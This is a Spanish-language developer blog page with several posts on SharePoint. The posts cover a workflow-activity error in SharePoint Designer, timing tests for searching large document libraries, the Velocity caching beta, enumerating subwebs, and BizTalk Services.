Posted by gvelez with 1 comment(s)
Filed under:

Activando Actividades que no han sido Activadas: Actividades de SharePoint

“The list of workflow actions on the server references an assembly that does not exist.  Some actions will not be available.  The assembly strong name is bla-bla-bla.  Contact your server administrator for more information.”

Error encontrado a último minuto, cuando estaba preparando una conferencia que debía dar el lunes a primera hora (junto con Hadi Hariri, aunque él estaba hablando de cosas completamente diferentes). Mala cosa, ya tienes todo pensado y preparado y en el ultimo pedazo de código para rematar brillantemente la hora de conferencia, te sale SharePoint con algo por el estilo...

Empecemos por el principio. Todo el asunto se trataba de SharePoint y el Windows WorkFlow Foundation: juntando mundos que andan por caminos separados: SharePoint y la Fundación no tienen en principio nada que ver el uno con el otro, pero cuando se ponen a trabajar juntos se pueden hacer cosas realmente brillantes. Y hay dos formas para crear Flujos de Trabajo en SharePoint: SharePoint Designer o Visual Studio; otros dos mundos separados, que en principio no tienen nada que ver el uno con el otro (es más, hasta llegan a ser enemigos), pero que si se pueden conjugar de una u otra forma, nos pueden solucionar problemas peliagudos.

El problema que he estado viendo en varios proyectos los últimos tiempos es que los Flujos de Trabajo se están volviendo más y más complicados: las variables de entrada no hacen más que aumentar, los caminos a recorrer son cada vez más intrincados, las reglas de negocios menos y menos manejables. Por el otro lado, Flujos tienden a ser utilizados una sola vez, en una sola Lista o Librería (también como consecuencia de que cada vez son más especializados en realizar una tarea específica). Crear Flujos de Trabajo de este tipo es imposible de hacer con el SharePoint Designer, hay que usar Visual Studio, por lo tanto son bastante costosos de desarrollar (tiempo de desarrollador no es especialmente barato), y si hay que modificarlos de vez en cuando, el problema no hace más que aumentar, y nuestros clientes están cada vez menos contentos...

Con SharePoint Designer se pueden “ensamblar” Flujos de Trabajo de una forma realmente sencilla, y es muy fácil contarle a alguien que trabaje directamente con la instalación de SharePoint como hacerlo en muy poco tiempo. Pero el Designer no tiene ninguna capacidad para hacer cosas realmente interesantes. Como combinar los puntos fuertes de los dos (hacer lo que nos de la gana con VS, hacerlo fácilmente con SharePoint) para mitigar los puntos flacos de los dos (costos y conocimientos necesarios para usar VS, falta de posibilidades en Designer)? La respuesta es Actividades...

Actividades son esos pequeños bloques de funcionalidad que están en el Cuadro de Herramientas de Visual Studio y en las Acciones del Designer. Qué tal si dividimos el problema en bloques funcionales, creamos Actividades para ellos en Visual Studio y los instalamos en Designer de tal forma que nuestro cliente se “ensamble” sus Flujos por sí mismo? Combinamos mundos divergentes (el titulo de la conferencia) para solucionar un problema real y actual: bajar costos y aumentar flexibilidad. Un ejemplo que me he topado con frecuencia es en instalaciones de SharePoint en Universidades en donde hay un formulario para que nuevos estudiantes se inscriban: algunas facultades quieren que después de que el formulario se ha recibido, primero se haga una cita para conversar con el interesado, y luego se registra a la persona en el sistema. Otras facultades quieren registrar el interesado directamente para que no se les escape (las facultades de ingeniería por ejemplo... nadie quiere estudiar ingeniería, así que si a alguien le da por ahí, hay que agarrarlo inmediatamente) y luego hacer la cita. Como construir el Flujo detrás del formulario? De tal forma que pueda seguir los dos caminos dependiendo de variables de entrada? O crear dos Flujos, a los que hay que instalar, darles mantenimiento, etc? Porque no crear una Actividad “Formulario” (que se comunica con un formulario de InfoPath, por ejemplo), otra Actividad “Hacer Cita” (que mira en los calendarios de los entrevistadores, reserva tiempos en ellas, manda E-mails a todo el mundo) y una tercera Actividad “Registrar” (que crea un numero de registro, hace cosas en PeopleSoft, etc.), luego registramos las Actividades (creadas en Visual Studio) en SharePoint Designer y finalmente algún empleado de nuestro cliente se encarga de crear la Lista necesaria y ensamblar las Actividades en el orden indicado para crear el Flujo? Este es un ejemplo muy sencillo, pero al mismo tiempo muy real...

Bueno, de eso se trataba mi conferencia, y lo único que me faltaba al final era configurar a SharePoint Designer para que me mostrara una Actividad de ejemplo que ya tenía lista. Y allí me salió el error. Por eso de que no hay información de Microsoft al respecto (por alguna razón extraña ya ni me da rabia, estoy tan acostumbrado...), me he sacado un Profiler del bolsillo para ver qué era lo que pasaba cuando arrancaba a Designer y en el momento de intentar ver la Actividad. Pues bien, lo primero interesante que ocurre es que el Designer llama al método “FetchLegalWorkflowActions” (del que hay una página de información de Microsoft, http://msdn.microsoft.com/en-us/library/ms774779.aspx, que por supuesto no dice nada), pero que me indica que el Designer está usando WebServices para mirar en el archivo de configuración del sitio... hmmmm... todos los días se aprende algo nuevo... Luego se van recorriendo todos los ensamblados en la configuración y revisando si los encuentra en el GAC. Y si no encuentra alguno, sale el mensaje. El problema es que mi ensamblado estaba perfectamente firmado e instalado en el GAC, y lo peor de todo, que SharePoint lo encontraba sin problemas. Así que el proceso que realiza el Designer es muy sencillo, y todo estaba perfectamente configurado, pero el error me seguía saliendo y todo el asunto se atrancaba miserablemente...

Después de revisar todo una y otra y otra vez y ejecutar mil y un iisreset, estaba empezando a pensar en cambiar mi conferencia a algo así como “Posibles causas del embarazo de las gallinas verdes australianas”... así que me dio por cerrar a SharePoint Designer y reiniciarlo de nuevo... brillante, genial, fenomenal !!! Funciona!!!... Mi Actividad es visible y usable, y nada de errores... Muchas gracias Microsoft, me han proporcionado una de las horas más miserables de mi vida intentando encontrar un error inexistente, y todo gracias a que alguno de sus programadores no hizo su trabajo bien hecho, y gracias a que sus probadores no probaron el producto bien probado... Pero pude dar mi conferencia, y hasta me parece que a por lo menos una persona le ha gustado...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with 5 comment(s)
Filed under:

Cuantos elementos caben en una Lista de SharePoint?

2000 según Microsoft. No, no es cierto, después de 2000 elementos la Lista empieza a tener problemas para mostrar los elementos en pantalla (http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=inf&itm=382 ). Así que en realidad cuantos elementos se pueden meter en una Lista antes de que SharePoint diga “hasta aquí voy yo” y deje de funcionar? De nuevo, según Microsoft, por los cinco millones...

Pero una cosa es meter elementos en una Lista, y otra muy diferente poder hacer algo con ellos. Si después de una cierta cantidad es infinitamente demorado encontrar uno de los elementos, no tenemos nada con cinco millones...

Problema: Una intranet de una empresa con más o menos 20.000 usuarios. Cada mes el sistema de administración (separado de SharePoint) suministra un archivo pdf (7 kb) con el extracto del salario de cada empleado (usuario) y uno de los requisitos de la Intranet es que los usuarios puedan ver sus extractos en la Intranet, y de una forma segura. Esto significa que cada mes habrá que meter por lo menos 20.000 archivos pdf en algún lado en el Portal... en una Librería, por supuesto, pues SharePoint es todo Listas y Librerías.

Especulación: Usar una Librería por año? Un cuarto de millón de elementos en una Librería debería ser posible según Microsoft, pero cuanto se demora SharePoint en encontrar un archivo de un usuario de un determinado mes?

Una Librería por mes? Si la Librería puede con cinco millones, tiene que poder con 20.000, pero la pregunta sigue: que tan rápido se puede encontrar un elemento?

Una Librería por usuario (en MiSitio, por ejemplo), con solamente sus archivos? Y cuanto se demora el sistema en subir 20.000 archivos en 20.000 diferentes sitios?

Pruebas: Como no existen estadísticas al respecto, lo mejor es probar a ver qué pasa. Primero crear una Librería e irle metiendo archivos hasta que reviente (o no), y al mismo tiempo ver cuánto tiempo cuesta encontrar un elemento random en ella. Algunos resultados:

 

Número de Elementos en la Lista Tiempo para encontrar un Elemento (milisegundos)
10 2,156
100 2,170
1.000 2,640
10.000 6,420
100.000 37,125

 

La búsqueda se realizó “a lo bestia”, es decir recorriendo uno por uno de los elementos en busca de uno generado en forma random. Esto se hizo así para ver que tan ágil es el Modelo de Objetos para “loopear” (no muy ágil, por lo visto). Haciendo la búsqueda con una consulta CAML (la forma inteligente) los resultados varían de 2,203 milisegundos para encontrar un elemento entre 1.000 y 2,296 en una Librería con 100.000 elementos (eso está mucho mejor). Y si la columna de búsqueda en la Lista se indexa, cuesta 2,140 milisegundos en la Librería con 100.000 elementos.

Nota separada No. 1: parece que siempre hay un “threshold” de 2 milisegundos, probablemente el tiempo necesario para hacer que el JIT se despierte, y para que toda la burocracia de DotNet empiece a funcionar.

Nota separada No. 2: es interesante ver cómo crece la Base de Datos de contenido de SharePoint: con los 100.000 elementos (de 7 kb cada uno) creció en 797.076.928 bytes, lo que indica que hay un “desperdicio” de 10%... probablemente no desperdicio sino espacio para los meta-datos o algo así...

Conclusión: Buscar a lo bestia es de lo mas bestia... no hacerlo. Buscar con consultas CAML funciona de maravilla, y no importa si hay que buscar en una Librería con 100 o con 100.000 elementos, el tiempo de búsqueda es igual. Y si se indexa la columna a buscar, mejor aún. Y hay una carga interna de 2 milisegundos de la que no nos libramos por nada del mundo...

Y como se ha hecho el asunto: Un SharePoint Job ejecuta cada día al amanecer y escanea un directorio en busca de los archivos generados (solamente una vez al mes encontrara algo, pero eso no se lo vamos a contar para que no se vuelva perezoso). Cuando encuentra archivos, el Job crea una Librería y sube todos los archivos del mes de una sola vez, asegurando los derechos de cada archivo para que solamente el dueño tenga suficientes derechos para leerlo. Una WebPart revisa las Librerías de cada mes en busca de los archivos de salario del CurrentUser y muestra lo que encuentra. Solucionado. SharePoint contento, cliente contento, todos contentos...

Nota: como subir 100.000 elementos a una Librería de SharePoint manualmente es bastante aburrido, se ha usado una herramienta gratis, el “BulkFiller”, que pueden encontrar en http://www.sharepartsshop.com (búsquelo en la sección de “Gratis”); subir 100.000 elementos a una Librería cuesta un par de minutos, increíble. Y para borrarlos, en el mismo sitio hay otra herramienta, el “BulkCleaner”, que hace lo mismo pero al revés, y aun mas rápido...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with 12 comment(s)
Filed under:

La velocidad de SharePoint

Por fin un par minutos de tranquilidad para poder hacer algo interesante con SharePoint, no el cotidiano tira-y-afloja con clientes que no saben que es lo que quieren, y que cuando les cuentas que es lo que quieren, empiezan a creer que son “conocedores” de SharePoint... yo solo conozco a dos personas que sean “conocedoras” de SharePoint, y ninguna de las dos es cliente mío...

Perdón por irme por las ramas. Al tema: Velocity, el nuevo juguete de Microsoft. Jorge Serrano ya ha contado de que se trata (“Microsoft Project Code Named Velicity” http://geeks.ms/blogs/jorge/archive/2008/06/03/microsoft-project-code-named-velocity-ctp1.aspx e “Información general sobre el proyecto Velocity” http://geeks.ms/blogs/jorge/archive/2008/06/07/informaci-243-n-general-sobre-el-proyecto-velocity.aspx) así que no me pongo a repetir lo que ya el contó bien contado. El asunto se trata de cacheo, algo con lo que SharePoint siempre ha tenido una relación amor-odio, o, aun mejor dicho, una relación sado-masoquista.

Cacheo de datos es estupendo en aplicaciones Web. Por la forma intrínseca de este tipo de aplicaciones, datos tienen que ser generados una y otra y otra vez, así que meterlos en un depósito temporal para no tener que hacer todo el proceso continuamente es una excelente idea. SharePoint es una aplicación Web, ergo, debe usar cacheo. Y en realidad lo hace: MOSS utiliza las técnicas de cacheo de datos que proporciona el ASP.NET 2.0 y le agrega un mecanismo más preciso (Profile Caching) para mejorar la granularidad (como se puede traducir "granularity" al cristiano?), permitiendo crear perfiles de cacheo diferentes que se puedan aplicar a colecciones de sitios o sitios individuales. Como nota curiosa, WSS no dispone del mecanismo de cacheo que tiene MOSS... y es por eso de la relación rara de que hablábamos anteriormente.

En realidad, a SharePoint no le gusta usar cacheo. Inclusive en las versiones anteriores se podía activar por medio de un cambio en el web.config, pero era prácticamente prohibido hacerlo. Por una razón muy sencilla: SharePoint es un sistema creado para suministrar información a cientos de miles de usuarios, dándole información personalizada a cada uno de ellos (piense nada más que cada usuario puede modificar su propia interface) y si le vamos a dar cache a cada usuario, simplemente no existe batería de servidores con suficiente memoria RAM para mantener el cacheo; o habría que limitar el cacheo a un par de segundos, lo que tampoco tiene mucho sentido.

Pero a SharePoint 2007 le pusieron todo el asunto de Content Management, con lo que ya SharePoint no solamente sirve para crear sitios de trabajo individuales e individualizados, sino también para crear sitios Web comunes y corrientes (Publishing Feature). Y como en sitios de este tipo la información cambia muy poco en el tiempo, y no cambia para nada para cada usuario, cacheo es simpatiquísimo. Así que SharePoint 2007 tiene cacheo, pero solamente para MOSS, pues WSS no tiene la Característica de Publicación, así que no se puede usar para crear sitios Web comunes y corrientes, y, ergo de nuevo, no queremos meterle cacheo...

Como nota al lado, otra de las cosas simpáticas de cacheo en SharePoint es que en granjas de servidores se ve frecuentemente que la información presentada no es consecuente (o, por lo menos, eso es lo que mis queridos clientes siempre dicen); veamos: servidor A tiene en memoria pagina A por 60 segundos; la información de la pagina ha sido cambiada en el momento que el cache del servidor B ha expirado, así que ahora los dos servidores tienen información diferente; el usuario que acaba de ver la pagina desde el servidor A regresa a la pagina, pero esta vez es redirigido por el Load Balancing al servidor B: la información es diferente; vuelve a hacer un refresco de la pagina, y el Load Balancing lo manda al servidor A: regreso a la información antigua... estoy empezando a creer que al final mis pobres clientes hasta puede que tengan razón...

Pero bueno, es el día de irse por las ramas... Velocity: sistema para distribuir el cacheo entre los diferentes servidores de la granja, evitando, de pasada, los problemas de los que hemos estado hablando... suena bien para metérselo a SharePoint... manos a la obra: bajar el software (2.5 MB, no está mal)... buscar una granja de prueba de SharePoint (dos front end, nada del otro mundo)... intentar instalar el software... empieza a instalar sin problemas... llegamos a la pantalla de configuración... error... cancelar el error y seguir adelante... error... volverlo a intentar... error... bueno, al fin y al cabo es software beta... y a SharePoint no le gusta ese asunto del cacheo... habra que esperar hasta la proxima version...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with 2 comment(s)
Filed under:

SharePoint AllWebs no hace lo que yo quiero... y si lo hace, lo hace mal

Pregunta para los fanáticos de optimalización en programación: como leer todas las subWebs de un SPSite de SharePoint de la forma más rápida, efectiva y eficiente posible?

Primero que todo el problema: para un portal (bastante) grande de SharePoint, en donde al final habrá algunos miles de subSites, es necesario crear una especie de “árbol” con la estructura. Usar un cacheo del árbol después de que se ha leído de arriba abajo mejora el rendimiento, por supuesto, pero primero hay que haber leído todos los sitios y sus subsitios y sus subsitios ad infinitum... La estructura es bastante dinámica, cambiando en (en el peor de los casos) dentro de minutos, así que el cacheo no se puede mantener por más de algunos minutos sin correr el riesgo de que el usuario pierda información.

Lo primero es que hay que usar recursividad para poder entrar por todas partes, eso es seguro. Pero dentro del lazo de la recursión es necesario conseguir el SPWebCollection de alguna forma. En principio tenemos dos maneras: con “SPSite.AllWebs()” o con “SPSite.OpenWeb().GetSubwebsForCurrentUser()”. El primer método se descarta bastante rápido por problemas de seguridad: si el usuario que está creando el árbol no tiene derechos suficientes en una u otra SPWeb en el camino, recibirá simplemente un “Access Denied” sin más, y el asunto se detiene irremediablemente. Peor aún, el usuario tiene que tener derechos de “Full Control”, de otra forma SharePoint simplemente se niega a seguir adelante.

Así que queda el segundo método. Para mi gran sorpresa, tampoco funciona en la forma deseada. Por una u otra razón, el método tampoco devuelve todas las subWebs directamente bajo la Web actual. Después de renegar, sudar, llorar y rogar, al final resulta que hay que usar el asunto por medio del “SPSite.RootWeb.GetSubwebsForCurrentUser()” y no por medio del “OpenWeb()”. Porque? Ni idea... según la fantastica información proporcionada por el SDK, la propiedad RootWeb “Gets the root Web site of the site collection” y el método “OpenWeb” “Returns the site that is associated with the URL that is used in an SPSite constructor”... más claro no canta una gallina... y según mi humilde entender, los dos hacen lo mismo, pero de diferente manera... lo de diferente manera es seguro, en cualquier caso...

Pero el asunto va por otro lado. AllWebs y GetSubwebsForCurrentUser son simplemente asesinos del rendimiento, pues los dos no hacen más que un bucle de web en web para sacar la lista requerida. Cuando estamos hablando de unos cuantos de sitios, que hay que leer de vez en cuando, simplemente no importa como lo hacen. Cuando hay que leer miles de sitios con mucha frecuencia, los servidores de la granja simplemente se van a 100% de CPU, y el usuario se puede ir a tomar un café mientras la información aparece en pantalla.

Por eso de que a veces quedan marcas en la memoria de cosas leídas hace un montón de tiempo, me he acordado de un documento de Steve Peschka (Microsoft) de hace más de un año: “Working with large lists in Office SharePoint Server 2007” (http://go.microsoft.com/fwlink/?LinkId=95450&clcid=0x409) que describe cómo usar la clase “PortalSiteMapProvider”. Esta es una clase de SharePoint que probablemente solo conoce el desarrollador que la hizo, y que fue creada originalmente para ayudar a cachear la navegación (según las palabras de Steve Peschka). La clase contiene un “PortalWebSiteMapNode” que a su vez contiene la propiedad “GetChildNodes” que nos entrega una colección de los subWebs que estamos buscando... perfecto... casi perfecto... hmmm... inservible... “PortalSiteMapProvider” es una clase de MOSS y yo lo necesito para WSS...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with 4 comment(s)
Filed under:

BizTalk Services y SharePoint

Hace un par de semanas Microsoft a liberado el “Microsoft BizTalk Services”. Según el boletín de prensa de Microsoft mismo, “...The new BizTalk Relay Services facilitate the traversal and bridging of physical networks, enabling high-fidelity interconnection between cooperating systems for cross-organizational messaging behind firewalls...” ... lo que en realidad son 26 palabras que no dicen nada...

Veamos: BizTalk Services viene del “BizTalk Labs” (http://biztalk.net/) que es tres cosas: Identity Services para poder identificar quien es quien y arreglar otras cosas de identificación internamente (con AD, por ejemplo), Connectivity Services para manejar “mensajes” a lo largo de redes y el BizTalk Labs SDK para podernos enterar como ponerlo todo junto.

Como dice el sitio del BizTalk Labs, esta es una pieza del “Bus de Servicios de Internet” (http://biztalk.net/Overview.aspx) que no es más que una manera para interconectar aplicaciones distribuidas... ya nos vamos entendiendo...

BizTalk ha sido siempre el servidor “negociador” de Microsoft: si es necesario conectar un sistema cualquiera con otro sistema cualquiera, BizTalk es el pegante que los puede llevar a que conversen juntos, y, sobre todo, a que se entiendan. Personalmente, BizTalk es como el primer amor de juventud, del que siempre sigues enamorado, pero que desafortunadamente nunca funciono como debería. No es que no ame a SharePoint, ese el amor con el que vivo cotidianamente, sino que BizTalk siempre me ha gustado poderosamente sin que nunca haya tenido la oportunidad de hacer proyectos serios con él. Y ese el drama de BizTalk también: hasta ahora ha sido un servidor muy poderoso, pero también muy difícil de implementar y programar, que necesita recursos físicos demasiado grandes (12 Bases de Datos, si no me acuerdo mal, para una instalación por defecto), y que siempre ha sido demasiado costoso. Todo eso junto significa que mientras hay clientes haciendo fila para crear sistemas con SharePoint, BizTalk hay que metérselo por las narices a la fuerza a nuestros clientes para que lo acepten...

A ver si BizTalk Services alivia los problemas. BizTalk Services (http://www.microsoft.com/biztalk/en/us/soa.aspx) nos permiten usar BizTalk sin tener que hacerle el hosting, sin tener problemas de uso en ambientes mezclados (intranet-extranet, problema que siempre se tiene con una instalación propia de BizTalk, la que cuesta infinita cantidad de problemas para hacerla pasar a través de FireWalls) y sin tenernos que preocupar por instalación, mantenimiento y todas esas cosas que nosotros, los pobres pica-código, no tenemos ganas ni paciencia para hacer (ni, la verdad sea dicha, los conocimientos técnicos para hacerlo bien hecho).

Todo funciona por medio de SOA, es decir, por medio de WebServices. Un sistema en cualquier parte del mundo (o al lado de nuestro escritorio, qué más da) necesita datos de otro sistema en cualquier otra parte del mundo (o en el mismo servidor, da igual), los procesa y se los entrega a otro sistema, ustedes ya saben en donde... El problema es que cada uno de los sistemas espera/entrega los datos de una manera diferente... BizTalk es el “negociador” que convierte los datos de un sistema para que el otro los entienda, y luego recoge los datos procesados para “trasladarlos” en la forma que el siguiente proceso también pueda hacer algo con ellos, y el siguiente, y el siguiente. Y entre proceso y proceso se queda esperando pacientemente, manteniendo el estado de todas las transacciones, enviando mensajes si es necesario, preparando café y desayuno cada mañana, avisando a qué hora es la próxima cita con el dentista, etc... (Bueno, las dos últimas cosas pueden ser un poquito exageradas, pero ustedes ya entienden por donde va el agua al molino).

Y todo esto es simplemente estupendo para SharePoint. Con los Flujos de Trabajo del WorkFlow Foundation y el Business Data Catalog se pueden hacer un montón de cosas bonitas, pero una de las limitaciones que SharePoint siempre ha tenido (aunque la situación ha mejorado notablemente con la versión 2007) es que es un servidor terriblemente egocéntrico: toda su información tiene que estar en sí mismo, y conectarlo con el mundo exterior nunca ha sido fácil. Con un sistema de BizTalk que no sea costoso ni difícil de utilizar se pueden mejorar radicalmente los rasgos autistas de SharePoint, y hacerlo comunicar con todo ese mundo de datos que existen fuere de él. Las posibilidades son múltiples: sistemas Back-Office con datos de cualquier tipo que se pueden presentar en el Portal, automatización de flujos de documentos e información (en lo que SharePoint es grande) proveniente del mundo externo, envío de datos contenidos en SharePoint a sistemas fuera de el, el cielo es el limite... de pronto el primer amor se junta con el amor cotidiano en un trío incestuoso...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with 1 comment(s)
Filed under:
More Posts Next page »